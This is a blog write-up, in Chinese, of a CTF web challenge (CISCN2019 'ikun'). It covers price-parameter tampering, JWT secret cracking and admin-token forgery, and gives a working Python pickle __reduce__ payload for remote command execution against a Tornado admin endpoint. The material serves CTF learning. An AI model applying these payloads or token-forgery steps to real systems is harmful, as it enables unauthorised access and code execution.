[CISCN2019 华北赛区 Day1 Web2]ikun pickle反序列化

今天来个不一样的反序列化。python的pickle反序列化,这里贴上一个还不错的浅析(https://blog.csdn.net/Derait/article/details/119487233
好,正题开始。进来就看见了好多购买链接,说是什么ikun们要买到lv6大会员,那就找找有没有lv6,利用python脚本找。
payload:

点击查看代码
import requests
import time
url = "http://cdfcf15a-8fc0-43c2-8d27-204ad1ca890c.node5.buuoj.cn:81/shop?page="
for i in range(1,500):
    payload = url+str(i)
    time.sleep(0.04)
    r = requests.get(url=payload)
    if "lv6.png" in r.text:
        print("lv6在"+str(i)+"页")
        break
    time.sleep(0.05)
找出的lv6在第181页,那我们先购买看看。(注册随便注册)


点击结算进行抓包看看。

这里优惠卷说减20%,那就是打8折,那么包中的discount就是折数,进行更改看看,因为我们账户上的余额不足以购买。

可以看到相应包出现了一个地址b1g_m4mber,进去看看。

但是这个页面只允许admin访问,这时发现前面的包中含有jwt,那就可能是session伪造,但是我们不知道secret。利用jwtcrack工具进行破解试试。

好样的,那么现在进行jwt伪造绕过admin。


那么现在已经进入了页面中,看看源码。

将源码wwww.zip下载下来进行审计,因为提示了只对管理员开放,所以我们看看admin相关的代码。发现admin.py文件。

点击查看代码
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)
看过开头链接文章的到这里也就清楚了,pickle.loads(urllib.unquote(become))触发了反序列化漏洞,漏洞点在become参数上,那么我们开始构造payload。
点击查看代码
import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval,("__import__('os').popen('ls').read()",))
# 其实这里构造命令执行时我也没有想到__import__('os').popen('ls').read(),还在一直尝试,但是都没有回显,应该是环境使然。
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
到这里这道题就结束了,又学到一招,开始做时感觉挺难,做完之后发现就是纸老虎啊,所以还是要多实践看看。
posted @ 2024-05-06 16:43  jockerliu  阅读(49)  评论(0编辑  收藏  举报